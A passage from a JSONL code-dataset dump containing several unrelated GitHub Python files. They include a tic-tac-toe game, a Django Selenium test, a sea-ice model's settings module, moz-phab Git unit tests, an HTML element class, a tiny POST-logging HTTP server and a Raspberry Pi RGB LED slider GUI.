unittest.main()","repo_name":"ramiejohn/pyfi","sub_path":"tests/indicator_test.py","file_name":"indicator_test.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"74184325537","text":"def create_matrix() -> list:\n \"\"\"\n Creates the matrix of the game\n \"\"\"\n game = [\n [1, 2, 3],\n [4, 5, 6],\n [7, 8, 9]\n ]\n\n return game\n\n\ndef print_matrix(matrix: list):\n print('---------')\n for i in range(3):\n print('| ', end='')\n for j in range(3):\n if matrix[i][j] == 'X' or matrix[i][j] == 'O':\n print(matrix[i][j] + ' ', end='')\n\n else:\n print(' ', end='')\n\n print('|')\n\n print('---------')\n\n\ndef write_in_matrix(matrix: list, column: int, row: int, player: str):\n matrix[row - 1][column - 1] = player\n\n\ndef check_game_finished(matrix: list) -> bool:\n for i in range(3):\n if matrix[i][0] == matrix[i][1] == matrix[i][2]:\n print('Player', matrix[i][0], 'won')\n return True\n\n if (matrix[0][1] == matrix[1][1] == matrix[2][1] or\n matrix[0][0] == matrix[1][1] == matrix[2][2] or\n matrix[0][2] == matrix[1][1] == matrix[2][0]):\n\n print('Player', matrix[0][1], 'won')\n\n return True\n\n if matrix[0][0] == matrix[1][0] == matrix[2][0]:\n print('Player', matrix[0][0], 'won')\n\n return True\n\n if matrix[0][2] == matrix[1][2] == matrix[2][2]:\n print('Player', matrix[0][0], 'won')\n\n return True\n\n filled = 0\n\n for i in range(3):\n for j in range(3):\n if matrix[i][j] == 'O' or matrix[i][j] == 'X':\n filled += 1\n\n if filled == 9:\n print('TIE')\n return True\n\n return False\n\n\ndef valid_input(matrix: list, column: str, row: str) -> bool:\n try:\n column = int(column)\n row = int(row)\n matrix[row-1][column-1]\n\n return True\n\n except ValueError:\n return False\n\n except IndexError:\n return False\n\n except TypeError:\n return False\n\n\ndef possible_to_play(matrix: list, column: int, row: int):\n if matrix[row-1][column-1] == 'X' or matrix[row-1][column-1] == 'O':\n return False\n\n return True\n\n\nif __name__ == '__main__':\n GAME = create_matrix()\n FINISHED = check_game_finished(GAME)\n\n PLAYER_O = [True, 'O']\n PLAYER_X = [False, 'X']\n\n while not FINISHED:\n print_matrix(GAME)\n COL, RO = map(int, input('Your turn: ').split())\n\n while not possible_to_play(GAME, COL, RO):\n print('INVALID\\nTRY AGAIN')\n COL, RO = map(int, input('Your turn: ').split())\n\n COL = int(COL)\n RO = int(RO)\n if PLAYER_O[0]:\n write_in_matrix(GAME, COL, RO, PLAYER_O[1])\n PLAYER_O[0] = False\n PLAYER_X[0] = True\n\n else:\n write_in_matrix(GAME, COL, RO, PLAYER_X[1])\n PLAYER_O[0] = True\n PLAYER_X[0] = False\n\n FINISHED = check_game_finished(GAME)\n\n print_matrix(GAME)\n","repo_name":"bihellzin/tic-tac-toe","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"43294192210","text":"import time\n\nfrom urllib.parse import urljoin\n\nfrom django.test import LiveServerTestCase\nfrom django.urls import reverse\nfrom django.utils.translation import ugettext_lazy as _\nfrom selenium import webdriver\n\n\nclass TestUITestCase(LiveServerTestCase):\n\n def setUp(self):\n self.selenium = webdriver.Chrome()\n self.base_url = self.live_server_url\n super().setUp()\n\n def tearDown(self):\n self.selenium.quit()\n super().tearDown()\n\n def test_index_page(self):\n ui_url = urljoin(self.base_url, reverse('ui'))\n selenium = self.selenium\n selenium.get(ui_url)\n self.assertEqual(selenium.title, 'Simple Notification Service')\n page_header = selenium.find_element_by_id('main-header').text\n self.assertEqual(page_header, _('Personal Area'))\n","repo_name":"GininDenis/simple-notification-service","sub_path":"src/apps/api/tests/test_ui.py","file_name":"test_ui.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"8194967304","text":"'''Siku: Sea Ice Discrete Element Method Model\n\n The main python module that has to be imported from any\n scenario file\n\n'''\n\nimport datetime\n\ntry:\n from . import bootstrap_config\n from . import earth\n from . import polygon\nexcept:\n import bootstrap_config\n import earth\n import polygon\n\n# ---------------------------------------------------------------------\n# return status masks\n# ---------------------------------------------------------------------\n\nMASK = {\n 'NONE' : 0,\n 'SAVE' : 1,\n 'WINDS' : 2,\n 'CURRENTS' : 4,\n\n 'EXIT' : 128\n }\n\n# ---------------------------------------------------------------------\n# misc enums\n# ---------------------------------------------------------------------\n\nCONTACT_METHODS = {\n 'n2' : 0,\n 'sweep' : 1\n }\n\nCONTACT_DET_FREQ_MET = {\n 'always' : 0,\n 'ticks' : 1, 'tick' : 1,\n 'sec' : 2, 'seconds' : 2,\n 'speed' : 3, 'auto' : 3\n }\n\nCONTACT_FORCE_MODEL = {\n 'default' : 0, 'test_springs' : 0,\n 'Hopkins_Frankenstein' : 1,\n 'distributed_spring' : 2\n }\n\nWIND_SOURCES = {\n 'NONE' : 0,\n 'TEST' : 1,\n 'NMC' : 2\n }\n\n# ---------------------------------------------------------------------\n# main function: by default it is None\n# ---------------------------------------------------------------------\n\nmain = None\n\n# ---------------------------------------------------------------------\n# info dictionary\n# ---------------------------------------------------------------------\n\ninfo = {\n 'name' : bootstrap_config.NAME,\n 'brief': bootstrap_config.BRIEF,\n 'version': bootstrap_config.VERSION,\n 'date': bootstrap_config.DATE,\n 'version numbers': [ int(x) for x in \n bootstrap_config.VERSION.split( '.' ) ],\n 'main program name': bootstrap_config.MAINPROGRAM,\n 'email': bootstrap_config.EMAIL,\n 'author': bootstrap_config.AUTHOR,\n 'copyright': bootstrap_config.COPYRIGHT }\n\n# ---------------------------------------------------------------------\n# miscellanous parameters\n# ---------------------------------------------------------------------\n\nclass Settings:\n pass\n\nsettings = Settings()\n\n# contact detection default method\nsettings.contact_method = CONTACT_METHODS['sweep']\nsettings.contact_freq_met = CONTACT_DET_FREQ_MET['always']\nsettings.contact_value = 1\n\nsettings.force_model = CONTACT_FORCE_MODEL['default']\n\nsettings.wind_source_type = WIND_SOURCES['TEST']\nsettings.wind_source_names = []\n\nsettings.loadfile = ''\n\nsettings.borders = 'borders.ll'\nsettings.border_mark = 0\n\n##settings.phys_consts = [ 1, 1, 1, 1, 1,\\\n## 1, 1, 1, 1, 1 ] # yet senseless\n### YET IS FOR TEST\nsettings.phys_consts = { 'rigidity' : 1.0, #'bouncing' on impact\n 'viscosity' : 1.0, #'sticking' on impact\n 'rotatability' : 1.0, #part of Force applied to rotation\n 'tangency' : 1.0, #part of Force applied to sliding\n \n 'elasticity' : 1.0, #hardness of spring in joints\n 'bendability' : 1.0, #prt f sprng frc ap to rotation\n 'solidity' : 1.0, #part of extension ap to damage\n 'tensility' : 1.0, #extension-without-damage cap\n\n 'windage' : 1.0, #part of wind applied to force\n 'anchority' : 1.0, #generic viscosity of water\n 'fastency' : 0.8, #floe overlap with landfast floe\n #to become landfast itself\n\n 'sigma' : 1.0, # -//- rigidity\n 'etha' : 1.0 # -//- viscosity\n }\n\nsettings.manual_inds = []\nsettings.manual_forces = []\n\nsettings.initial_freeze = 1\nsettings.links = []\n\nplanet = earth.Earth()\n\nP = polygon.Polygon() # need to be done only once for all polygons,\n # elements will be initialized using polygons\n\nelements = []\n\nclass Local:\n pass\n\nlocal = Local()\n\n# ---------------------------------------------------------------------\n# ModelTime class for setting model time and such\n# ---------------------------------------------------------------------\n\nclass ModelTime:\n pass\n\ntime = ModelTime()\ntime.update_index = 0\n\n# ---------------------------------------------------------------------\n# material list\n# ---------------------------------------------------------------------\n\nmaterials = [] # must be filled in the actual list\n\n# ---------------------------------------------------------------------\n# Callback functions\n# ---------------------------------------------------------------------\n\nclass Callback:\n pass\n\ncallback = Callback()\n\ndef presave( t, n, ns ):\n fname = 'siku-' + t.strftime(\"%Y-%m-%d-%H:%M:%S\") + '.h5'\n return fname\n\ndef pretimestep( t, n, ns):\n status = MASK['NONE']\n diagnostics.step_count = n\n print(\"Step \" + str( diagnostics.step_count ) + \" has started\")\n\n return status\n\ndef updatewind( siku, t ):\n print(\"Your advertisement could be here\")\n pass\n\ndef aftertimestep( t, n, ns ):\n print(\"Step \" + str( diagnostics.step_count ) + \" has ended\")\n return 0\n\ndef initializations( siku, t ):\n print('Hello earth!')\n\ndef conclusions( siku, t ):\n print('Good buy!')\n\ncallback.presave = presave\ncallback.pretimestep = pretimestep\ncallback.updatewind = updatewind\ncallback.aftertimestep = aftertimestep\ncallback.conclusions = conclusions\ncallback.initializations = initializations\n\n# ---------------------------------------------------------------------\n# Diagnostics\n# ---------------------------------------------------------------------\n\nclass Diagnostics:\n pass\n\ndiagnostics = Diagnostics()\ndiagnostics.step_count = 0\ndiagnostics.monitor_period = 1\n\n# registered meshes: to use in monitor functions\ndiagnostics.meshes = []\n\n# wind monitoring is a list of tuples ( func_name, grid ). This\n# functions will be called with the grids values\ndiagnostics.wind = []\n\n# ---------------------------------------------------------------------\n# Surface wind grid (NMC)\n# ---------------------------------------------------------------------\n\nwind = None\n\n\n","repo_name":"Atoku/siku","sub_path":"python/siku/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6243,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"34"} +{"seq_id":"10610681586","text":"import imp\nimport mock\nimport os\nimport pytest\n\nfrom conftest import create_temp_fn\n\nmozphab = imp.load_source(\n \"mozphab\", os.path.join(os.path.dirname(__file__), os.path.pardir, \"moz-phab\")\n)\nmozphab.SHOW_SPINNER = False\n\n\n@mock.patch(\"mozphab.Git.git_out\")\ndef test_cherry(m_git_git_out, git):\n m_git_git_out.side_effect = (mozphab.CommandError, [\"output\"])\n assert git._cherry([\"cherry\"], [\"one\", \"two\"]) == [\"output\"]\n m_git_git_out.assert_has_calls(\n [mock.call([\"cherry\", \"one\"]), mock.call([\"cherry\", \"two\"])]\n )\n\n\n@mock.patch(\"mozphab.Git.git_out\")\n@mock.patch(\"mozphab.Git._cherry\")\n@mock.patch(\"mozphab.config\")\ndef test_first_unpublished(m_config, m_git_cherry, m_git_git_out, git):\n class Args:\n def __init__(self, upstream=None, start_rev=\"(auto)\"):\n self.upstream = upstream\n self.start_rev = start_rev\n\n m_config.git_remote = []\n m_git_git_out.side_effect = ([\"a\", \"b\"], [\"c\"], [\"d\"])\n m_git_cherry.side_effect = ([\"- sha1\", \"+ sha2\"], [], None)\n git.args = Args()\n first = git._get_first_unpublished_node\n assert \"sha2\" == first()\n m_git_cherry.assert_called_with([\"cherry\", \"--abbrev=12\"], [\"a\", \"b\"])\n assert first() is None\n with pytest.raises(mozphab.Error):\n first()\n m_git_cherry.assert_called_with([\"cherry\", \"--abbrev=12\", \"upstream\"], [])\n\n m_git_cherry.side_effect = ([],)\n git.args = Args(upstream=[\"upstream\"])\n first()\n m_git_cherry.assert_called_with([\"cherry\", \"--abbrev=12\", \"upstream\"], [])\n\n m_git_cherry.side_effect = ([],)\n m_config.git_remote = [\"someremote\"]\n git.args = Args()\n first()\n m_git_cherry.assert_called_with([\"cherry\", \"--abbrev=12\"], [\"someremote\"])\n m_config.git_remote = []\n\n m_git_cherry.side_effect = ([\"+ %s\" % i for i in range(101)],)\n m_git_git_out.side_effect = ([\"origin\"],)\n with pytest.raises(mozphab.Error):\n first()\n\n\n@mock.patch(\"mozphab.Git.git_out\")\ndef test_branches_to_rebase(m_git_git_out, git):\n git_find = git._find_branches_to_rebase\n\n # No branch returned - not a real case - we don't work without branches\n m_git_git_out.return_value = []\n assert dict() == git_find([{\"orig-node\": \"_aaa\", \"node\": \"aaa\"}])\n\n # No amend, no branches to rebase\n m_git_git_out.return_value = [\"branch\"]\n assert dict() == git_find([{\"orig-node\": \"aaa\", \"node\": \"aaa\"}])\n\n # One commit, one branch\n m_git_git_out.return_value = [\"branch\"]\n assert dict(branch=[\"aaa\", \"_aaa\"]) == git_find(\n [{\"orig-node\": \"_aaa\", \"node\": \"aaa\"}]\n )\n\n # Two commits one branch\n m_git_git_out.return_value = [\"branch\"]\n assert dict(branch=[\"bbb\", \"_bbb\"]) == git_find(\n [{\"orig-node\": \"_aaa\", \"node\": \"aaa\"}, {\"orig-node\": \"_bbb\", \"node\": \"bbb\"}]\n )\n\n # Two branches one commit\n # ... (branch1)\n # | ... (branch2)\n # |/\n # * aaa\n # More realistic output from the git command\n m_git_git_out.return_value = [\"* branch1\", \" branch2\"]\n assert dict(branch1=[\"aaa\", \"_aaa\"], branch2=[\"aaa\", \"_aaa\"]) == git_find(\n [{\"orig-node\": \"_aaa\", \"node\": \"aaa\"}]\n )\n\n # ... (branch1)\n # | * bbb (branch2)\n # |/\n # * aaa\n m_git_git_out.side_effect = ([\"branch1\", \"branch2\"], [\"branch2\"])\n assert dict(branch1=[\"aaa\", \"_aaa\"], branch2=[\"bbb\", \"_bbb\"]) == git_find(\n [{\"orig-node\": \"_aaa\", \"node\": \"aaa\"}, {\"orig-node\": \"_bbb\", \"node\": \"bbb\"}]\n )\n\n # * ... (master)\n # | * ... (feature1)\n # | | * ... (feature2)\n # | |/\n # |/|\n # | | * ddd (feature1_1)\n # | |/\n # | * ccc\n # |/\n # * bbb\n # * aaa\n\n m_git_git_out.side_effect = (\n [\"master\", \"feature1\", \"feature1_1\", \"feature2\"], # aaa\n [\"master\", \"feature1\", \"feature1_1\", \"feature2\"], # bbb\n [\"feature1\", \"feature1_1\"], # ccc\n [\"feature1_1\"], # ddd\n )\n assert dict(\n master=[\"bbb\", \"_bbb\"],\n feature1=[\"ccc\", \"_ccc\"],\n feature2=[\"bbb\", \"_bbb\"],\n feature1_1=[\"ddd\", \"_ddd\"],\n ) == git_find(\n [\n {\"orig-node\": \"_aaa\", \"node\": \"aaa\"},\n {\"orig-node\": \"_bbb\", \"node\": \"bbb\"},\n {\"orig-node\": \"_ccc\", \"node\": \"ccc\"},\n {\"orig-node\": \"_ddd\", \"node\": \"ddd\"},\n ]\n )\n\n\ndef test_get_direct_children(git):\n get_children = git._get_direct_children\n rev_list = [\"aaa bbb ccc\", \"bbb\", \"ccc ddd\"]\n assert [\"bbb\", \"ccc\"] == get_children(\"aaa\", rev_list)\n assert [] == get_children(\"bbb\", rev_list)\n assert [\"ddd\"] == get_children(\"ccc\", rev_list)\n assert [] == get_children(\"xxx\", rev_list)\n\n\ndef test_is_child(git):\n is_child = git._is_child\n # * ccc\n # * bbb\n # * aaa\n nodes = [\"ccc\", \"bbb ccc\", \"aaa bbb\"]\n assert is_child(\"aaa\", \"bbb\", nodes)\n assert is_child(\"aaa\", \"ccc\", nodes)\n assert is_child(\"bbb\", \"ccc\", nodes)\n assert not is_child(\"bbb\", \"aaa\", nodes)\n assert not is_child(\"aaa\", \"aaa\", nodes)\n assert not is_child(\"bbb\", \"bbb\", nodes)\n assert not is_child(\"ccc\", \"ccc\", nodes)\n\n # * ddd\n # | * ccc\n # | | * eee\n # | |/\n # | * bbb\n # |/\n # * aaa\n nodes = [\"ddd\", \"ccc\", \"eee\", \"bbb ccc eee\", \"aaa bbb ddd\"]\n assert is_child(\"aaa\", \"bbb\", nodes)\n assert is_child(\"aaa\", \"ccc\", nodes)\n assert is_child(\"aaa\", \"ddd\", nodes)\n assert is_child(\"aaa\", \"eee\", nodes)\n assert is_child(\"bbb\", \"ccc\", nodes)\n assert is_child(\"bbb\", \"eee\", nodes)\n assert not is_child(\"bbb\", \"ddd\", nodes)\n assert not is_child(\"ccc\", \"ddd\", nodes)\n\n\n@mock.patch(\"mozphab.Git.git_out\")\n@mock.patch(\"mozphab.config\")\ndef test_range(m_config, m_git_git_out, git):\n class Args:\n def __init__(self, start=\"aaa\", end=\".\"):\n self.start_rev = start\n self.end_rev = end\n self.safe_mode = False\n\n m_config.safe_mode = False\n m_git_git_out.return_value = [\"user.email=email\"]\n git.set_args(Args())\n assert git.revset == (\"aaa\", \".\")\n\n\n@mock.patch(\"mozphab.config\")\n@mock.patch(\"mozphab.parse_config\")\n@mock.patch(\"mozphab.Git._get_first_unpublished_node\")\n@mock.patch(\"mozphab.Git.git_out\")\ndef test_set_args(m_git_git_out, m_git_get_first, m_parse_config, m_config, git):\n class Args:\n def __init__(self, start=\"(auto)\", end=\".\", safe_mode=False):\n self.start_rev = start\n self.end_rev = end\n self.safe_mode = safe_mode\n\n with pytest.raises(mozphab.Error):\n git.set_args(Args())\n\n git._git = []\n m_config.safe_mode = False\n m_parse_config.return_value = {\"user.email\": \"email\"}\n m_git_get_first.return_value = \"aaa\"\n git.set_args(Args())\n assert [] == git._git\n m_git_get_first.assert_called_once()\n assert git.revset == (\"aaa^\", \".\")\n\n m_parse_config.return_value = {\n \"user.email\": \"email\",\n \"user.name\": \"name\",\n \"cinnabar.helper\": \"string\",\n }\n git.set_args(Args())\n assert [] == git._git\n assert [\"cinnabar\"] == git.extensions\n\n safe_options = (\n [\"-c\", \"user.email=email\"]\n + [\"-c\", \"user.name=name\"]\n + [\"-c\", \"cinnabar.helper=string\"]\n )\n git.set_args(Args(safe_mode=True))\n assert safe_options == git._git\n\n git._git = []\n m_config.safe_mode = True\n git.set_args(Args())\n assert safe_options == git._git\n\n m_config.safe_mode = False\n m_git_get_first.reset_mock()\n git.set_args(Args(start=\"bbb\", end=\"ccc\"))\n m_git_get_first.assert_not_called()\n assert git.revset == (\"bbb\", \"ccc\")\n\n git.set_args(Args(safe_mode=True))\n assert \"\" == git._env[\"HOME\"]\n assert \"\" == git._env[\"XDG_CONFIG_HOME\"]\n\n m_config.safe_mode = True\n git.set_args(Args())\n assert \"\" == git._env[\"HOME\"]\n assert \"\" == git._env[\"XDG_CONFIG_HOME\"]\n\n\n@mock.patch(\"mozphab.Git.git_out\")\ndef test_worktree_clean(m_git_out, git):\n m_git_out.return_value = \"\"\n assert git.is_worktree_clean()\n\n m_git_out.return_value = [\"xxx\"]\n assert not git.is_worktree_clean()\n\n m_git_out.return_value = [\"?? one\", \"?? two\"]\n assert git.is_worktree_clean()\n\n m_git_out.return_value = [\"?? one\", \"?? two\", \" M xxx\"]\n assert not git.is_worktree_clean()\n\n\n@mock.patch(\"mozphab.Git.git\")\ndef test_commit(m_git, git):\n git.commit(\"some body\")\n assert m_git.called_once()\n\n m_git.reset_mock()\n git.commit(\"some body\", \"user\")\n assert m_git.called_once()\n\n\n@mock.patch(\"mozphab.Git.git_out\")\n@mock.patch(\"mozphab.Git.is_node\")\ndef test_check_node(m_git_is_node, m_git_out, git):\n node = \"aabbcc\"\n assert node == git.check_node(node)\n\n m_git_is_node.return_value = False\n with pytest.raises(mozphab.NotFoundError) as e:\n git.check_node(node)\n assert \"Cinnabar extension not enabled\" in str(e.value)\n\n git.extensions = [\"cinnabar\"]\n m_git_out.return_value = \"0\" * 40\n with pytest.raises(mozphab.NotFoundError) as e:\n git.check_node(node)\n assert \"Mercurial SHA1 not found\" in str(e.value)\n\n m_git_out.return_value = \"git_aabbcc\"\n with pytest.raises(mozphab.NotFoundError) as e:\n git.check_node(node)\n assert \"Mercurial SHA1 detected\" in str(e.value)\n\n m_git_is_node.side_effect = (False, True)\n assert \"git_aabbcc\" == git.check_node(node)\n\n\n@mock.patch(\"mozphab.Git.git_out\")\n@mock.patch(\"mozphab.Git.checkout\")\n@mock.patch(\"mozphab.Git.git\")\n@mock.patch(\"mozphab.prompt\")\n@mock.patch(\"mozphab.logger\")\ndef test_before_patch(m_logger, m_prompt, m_git, m_checkout, m_git_out, git):\n class Args:\n def __init__(\n self,\n rev_id=\"D123\",\n nocommit=False,\n raw=False,\n applyto=\"base\",\n no_branch=False,\n yes=False,\n ):\n self.rev_id = rev_id\n self.nocommit = nocommit\n self.raw = raw\n self.applyto = applyto\n self.no_branch = no_branch\n self.yes = yes\n\n git.args = Args()\n m_git_out.side_effect = ([\" branch\"],)\n git.before_patch(\"sha1\", \"branch\")\n m_checkout.assert_called_with(\"sha1\")\n m_git.assert_called_with([\"checkout\", \"-q\", \"-b\", \"branch_1\"])\n\n m_git.reset_mock()\n m_git_out.reset_mock()\n m_checkout.reset_mock()\n\n m_checkout.reset_mock()\n m_git_out.side_effect = (\"the branch name is not here\",)\n git.args = Args(applyto=\"here\")\n git.before_patch(None, \"branchname\")\n m_checkout.assert_not_called()\n\n m_git.reset_mock()\n m_checkout.reset_mock()\n git.args = Args(applyto=\"abcdef\", nocommit=True)\n git.before_patch(\"abcdef\", None)\n m_checkout.assert_called_once_with(\"abcdef\")\n m_git.assert_not_called()\n\n m_git.reset_mock()\n m_checkout.reset_mock()\n m_logger.reset_mock()\n git.args = Args(no_branch=True, yes=True)\n git.before_patch(\"abcdef\", \"name\")\n m_checkout.assert_called_once()\n m_git.assert_not_called()\n assert \"git checkout -b\" in m_logger.warning.call_args_list[1][0][0]\n\n m_git.reset_mock()\n m_checkout.reset_mock()\n m_logger.reset_mock()\n git.args = Args(no_branch=True)\n git.before_patch(\"abcdef\", \"name\")\n m_checkout.assert_called_once()\n m_git.assert_not_called()\n m_prompt.assert_called_once()\n assert \"git checkout -b\" in m_logger.warning.call_args_list[0][0][0]\n\n m_prompt.return_value = \"No\"\n with pytest.raises(SystemExit):\n git.before_patch(\"abcdef\", \"name\")\n\n\n@mock.patch(\"mozphab.temporary_file\")\n@mock.patch(\"mozphab.Git.git\")\n@mock.patch(\"mozphab.Git.commit\")\ndef test_apply_patch(m_commit, m_git, m_temp_fn, git):\n m_temp_fn.return_value = create_temp_fn(\"filename\")\n git.apply_patch(\"diff\", \"commit message\", \"user\", 1)\n m_git.assert_called_once_with([\"apply\", \"--index\", \"filename\"])\n m_commit.assert_called_with(\"commit message\", \"user\", 1)\n m_temp_fn.assert_called_once_with(\"diff\")\n\n\n@mock.patch(\"mozphab.Git.git_out\")\ndef test_is_node(m_git_out, git):\n m_git_out.return_value = \"commit\"\n assert git.is_node(\"aaa\")\n\n m_git_out.return_value = \"something else\"\n assert not git.is_node(\"aaa\")\n\n m_git_out.side_effect = mozphab.CommandError\n assert not git.is_node(\"aaa\")\n","repo_name":"sigiesec/review","sub_path":"tests/test_git.py","file_name":"test_git.py","file_ext":"py","file_size_in_byte":12066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"34"} +{"seq_id":"25175430903","text":"\"\"\"Data structures for handling HTML Elements.\"\"\"\nfrom typing import Tuple\n\nfrom inscriptis.html_properties import Display, HorizontalAlignment, \\\n VerticalAlignment, WhiteSpace\n\n\nclass HtmlElement:\n \"\"\"The HtmlElement class stores properties and metadata of HTML elements.\n\n Attributes:\n - canvas: the canvas to which the HtmlElement writes its content.\n - tag: tag name of the given HtmlElement.\n - prefix: specifies a prefix that to insert before the tag's content.\n - suffix: a suffix to append after the tag's content.\n - display: :class:`~inscriptis.html_properties.Display` strategy used for\n the content.\n - margin_before: vertical margin before the tag's content.\n - margin_after: vertical margin after the tag's content.\n - padding_inline: horizontal padding_inline before the tag's content.\n - whitespace: the :class:`~inscriptis.html_properties.Whitespace` handling\n strategy.\n - limit_whitespace_affixes: limit printing of whitespace affixes to\n elements with `normal` whitespace handling.\n - align: the element's horizontal alignment.\n - valign: the element's vertical alignment.\n - previous_margin_after: the margin after of the previous HtmlElement.\n - annotation: annotations associated with the HtmlElement.\n \"\"\"\n\n __slots__ = ('canvas', 'tag', 'prefix', 'suffix', 'display',\n 'margin_before', 'margin_after', 'padding_inline',\n 'list_bullet', 'whitespace', 'limit_whitespace_affixes',\n 'align', 'valign', 'previous_margin_after', 'annotation')\n\n def __init__(self, tag='default', prefix='', suffix='',\n display: Display = Display.inline,\n margin_before: int = 0,\n margin_after: int = 0,\n padding_inline: int = 0,\n list_bullet: str = '',\n whitespace: WhiteSpace = None,\n limit_whitespace_affixes: bool = False,\n align: HorizontalAlignment = HorizontalAlignment.left,\n valign: VerticalAlignment = VerticalAlignment.middle,\n annotation: Tuple[str] = ()):\n self.canvas = None\n self.tag = tag\n self.prefix = prefix\n self.suffix = suffix\n self.display = display\n self.margin_before = margin_before\n self.margin_after = margin_after\n self.padding_inline = padding_inline\n self.list_bullet = list_bullet\n self.whitespace = whitespace\n self.limit_whitespace_affixes = limit_whitespace_affixes\n self.align = align\n self.valign = valign\n self.previous_margin_after = 0\n self.annotation = annotation\n\n def __copy__(self) -> 'HtmlElement':\n \"\"\"Performance-optimized copy implementation.\"\"\"\n copy = self.__class__.__new__(self.__class__)\n for attr in self.__slots__:\n setattr(copy, attr, getattr(self, attr))\n return copy\n\n def write(self, text: str):\n \"\"\"Write the given HTML text to the element's canvas.\"\"\"\n if not text or self.display == Display.none:\n return\n self.canvas.write(self, ''.join(\n (self.prefix, text, self.suffix)))\n\n def set_canvas(self, canvas) -> 'HtmlElement':\n self.canvas = canvas\n return self\n\n def set_tag(self, tag: str) -> 'HtmlElement':\n self.tag = tag\n return self\n\n def write_verbatim_text(self, text: str):\n \"\"\"Write the given text with `Whitespace.pre` to the canvas.\n\n Args:\n text: the text to write\n \"\"\"\n if not text:\n return\n\n if self.display == Display.block:\n self.canvas.open_block(self)\n\n self.canvas.write(self, text, whitespace=WhiteSpace.pre)\n\n if self.display == Display.block:\n self.canvas.close_block(self)\n\n def get_refined_html_element(self, new: 'HtmlElement') -> 'HtmlElement':\n \"\"\"Compute the new HTML element based on the previous one.\n\n Adaptations:\n margin_top: additional margin required when considering\n margin_bottom of the previous element\n\n Args:\n new: The new HtmlElement to be applied to the current context.\n\n Returns:\n The refined element with the context applied.\n \"\"\"\n new.canvas = self.canvas\n\n # inherit `display:none` attributes and ignore further refinements\n if self.display == Display.none:\n new.display = Display.none\n return new\n\n # no whitespace set => inherit\n new.whitespace = new.whitespace or self.whitespace\n\n # do not display whitespace only affixes in Whitespace.pre areas\n # if `limit_whitespace_affixes` is set.\n if (new.limit_whitespace_affixes\n and self.whitespace == WhiteSpace.pre):\n if new.prefix.isspace():\n new.prefix = ''\n if new.suffix.isspace():\n new.suffix = ''\n\n if new.display == Display.block and self.display == Display.block:\n new.previous_margin_after = self.margin_after\n\n return new\n\n def __str__(self):\n return (\n '<{self.tag} prefix={self.prefix}, suffix={self.suffix}, '\n 'display={self.display}, margin_before={self.margin_before}, '\n 'margin_after={self.margin_after}, '\n 'padding_inline={self.padding_inline}, '\n 'list_bullet={self.list_bullet}, '\n 'whitespace={self.whitespace}, align={self.align}, '\n 'valign={self.valign}, annotation={self.annotation}>'\n ).format(self=self)\n\n __repr__ = __str__\n\n\n\"\"\"\nAn empty default HTML element.\n\"\"\"\nDEFAULT_HTML_ELEMENT = HtmlElement()\n","repo_name":"weblyzard/inscriptis","sub_path":"src/inscriptis/model/html_element.py","file_name":"html_element.py","file_ext":"py","file_size_in_byte":5758,"program_lang":"python","lang":"en","doc_type":"code","stars":195,"dataset":"github-code","pt":"34"} +{"seq_id":"36236519917","text":"import json\nfrom http.server import HTTPServer\nfrom http.server import BaseHTTPRequestHandler\n\nclass class1(BaseHTTPRequestHandler):\n def do_POST(self):\n content_len = int(self.headers.get('Content-Length'))\n post_body = self.rfile.read(content_len)\n \n #受信したデータを表示\n print(post_body)\n\n#PCのIPアドレス\nip = '192.168.3.60'\n\n#使用するポート番号\nport = 8000\n\n#HTTPServerhandle\nserver = HTTPServer((ip, port), class1)\n\ntry:\n while True:\n #サーバーを実行\n server.serve_forever()\n\nexcept KeyboardInterrupt:\n print(\"StopHttpServer\")\n","repo_name":"warwick11/notification","sub_path":"recive.py","file_name":"recive.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"17490289205","text":"from tkinter import *\nimport RPi.GPIO as GPIO\nimport time\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(18, GPIO.OUT)\nGPIO.setup(23, GPIO.OUT)\nGPIO.setup(24, GPIO.OUT)\n\n# Запускаем ШИМ\npwmRed = GPIO.PWM(18, 500)\npwmGreen = GPIO.PWM(23, 500)\npwmBlue = GPIO.PWM(24, 500)\npwmRed.start(100)\npwmGreen.start(100)\npwmBlue.start(100)\n\n\nclass App:\n def __init__(self, master):\n frame = Frame(master)\n frame.pack()\n\n # Создаем надписи и располагаем каждую в своей ячейке сетки.\n Label(frame, text='Red').grid(row=0, column=0)\n Label(frame, text='Green').grid(row=1, column=0)\n Label(frame, text='Blue').grid(row=2, column=0)\n\n # Создаем ползунки и располагаем каждый в своей ячейке сетки.\n scaleRed = Scale(\n frame, from_=0, to=100, orient=HORIZONTAL, command=self.updateRed)\n scaleRed.grid(row=0, column=1)\n\n scaleGreen = Scale(\n frame, from_=0, to=100, orient=HORIZONTAL, command=self.updateGreen)\n scaleGreen.grid(row=1, column=1)\n\n scaleBlue = Scale(\n frame, from_=0, to=100, orient=HORIZONTAL, command=self.updateBlue)\n scaleBlue.grid(row=2, column=1)\n\n def updateRed(self, duty):\n '''Change the led brightness to match the slider.'''\n pwmRed.ChangeDutyCycle(float(duty))\n\n def updateGreen(self, duty):\n '''Change the led brightness to match the slider.'''\n pwmGreen.ChangeDutyCycle(float(duty))\n\n def updateBlue(self, duty):\n '''Change the led brightness to match the slider.'''\n pwmBlue.ChangeDutyCycle(float(duty))\n\n\n# Запускаем GUI, задаем для окна название, размер и положение.\nroot = Tk()\nroot.wm_title('RGB Led Control')\napp = App(root)\nroot.geometry('200x150+0+0')\ntry:\n root.mainloop()\nfinally:\n print('Сброс')\n GPIO.cleanup()\n","repo_name":"ShamaHamilton/make_action","sub_path":"mixing_colors.py","file_name":"mixing_colors.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"41330938844","text":"import unittest\n\nfrom src.models import Player, Computer, Game\nfrom src.game_config import game_moves_map\n\n\nclass 